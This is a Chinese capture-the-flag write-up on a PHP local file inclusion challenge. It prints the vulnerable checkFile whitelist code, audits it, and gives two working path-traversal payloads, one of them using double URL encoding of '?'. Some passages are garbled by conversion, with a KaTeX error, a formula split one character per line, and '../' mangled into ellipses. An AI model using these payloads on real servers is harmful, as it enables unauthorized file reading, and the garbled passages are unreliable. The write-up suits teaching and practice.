Pass-1(二次编码绕过、include文件路径问题)
F12里面有source.php这个文件,我们直接在url里面打开
同时出现了一个新页面hint.php,告诉flag在ffffllllaaaagggg中
代码如下:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
代码审计:
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
要使empty(KaTeX parse error: Expected 'EOF', got '&' at position 18: …EQUEST['file'])&̲& is_string(_REQUEST[‘file’])&& emmm::checkFile($_REQUEST[‘file’]三个条件同时为真,才会包含我们传入的file。前两个都很好满足,重要的就是checkFile如何为ture。
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//设置一个$whitelist数组,白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}//所以这里字符串不能为空和不能不是字符串,否则会返回失败。
if (in_array($page, $whitelist)) {
return true;
}//传入的$page在不在白名单中
//所以这里只能是$whitelist中的值:source.php、hint.php
$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));
//截取我们传入参数?之前的内容(会先在$page后面拼接一个?再截取)并赋值给$_page
//eg:传入$page=source.php => $page=source.php? =>$_page=sorcre.php
//这里可以实现绕过,在传入$page时拼接一个?:
//eg:传入$page=source.php?### => $page=source.php?###? =>$_page=source.php
//这时下方的判断就可以为真从而进行绕过
if (in_array($_page, $whitelist)) {
return true;
}//判断$_page在不在白名单中
//这里可以通过二次编码进行绕过
$_page = urldecode($page);//将$page进行url解码同时赋值给$_page
$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));
//这里的操作与上面的相同
if (in_array($_page, $whitelist)) {
return true;
}
部分函数:
mb_substr: 获取部分字符串。
mb_strpos: 查找字符串在另一个字符串中首次出现的位置。
in_array($needle, $haystack):needle待搜索值,haystack待搜索数组。
法一:
我们可以采用的方法就是构造payload?file=hint.php?./../../../../../ffffllllaaaagggg
,利用第二个if进行绕过,使checkFlie返回真值,从而包含我们的ffffllllaaaagggg文件得出flag
法二:
我们可以通过对?进行二次编码从而绕过
p
a
g
e
=
u
r
l
d
e
c
o
d
e
(
_page = urldecode(
page=urldecode(page)
?file=hint.php%253f../../../../../ffffllllaaaagggg
原理如下:在我们将参数传给file时,服务器端会自动进行一次url解码,然后这里还有个urldecode再进行一次解码。共两次解码,所以我们可以使用两次编码进行绕过urldecode,?一次url编码%3f,二次url编码%253f。然后就回归到了法一中。
php include文件路径问题:
php中include(‘…/…/flag.php’)和include(‘…/…/…/…/flag.php’)都能访问到flag.php
说明flag.php在 /var/html类似目录中,只有两层,var为最上层了。
如果已经处于var目录下,再使用…/也只会处于var目录下
所以:/var/www/flag.php 和…/…/…/var/www/flag.php是一个文件,上层没有了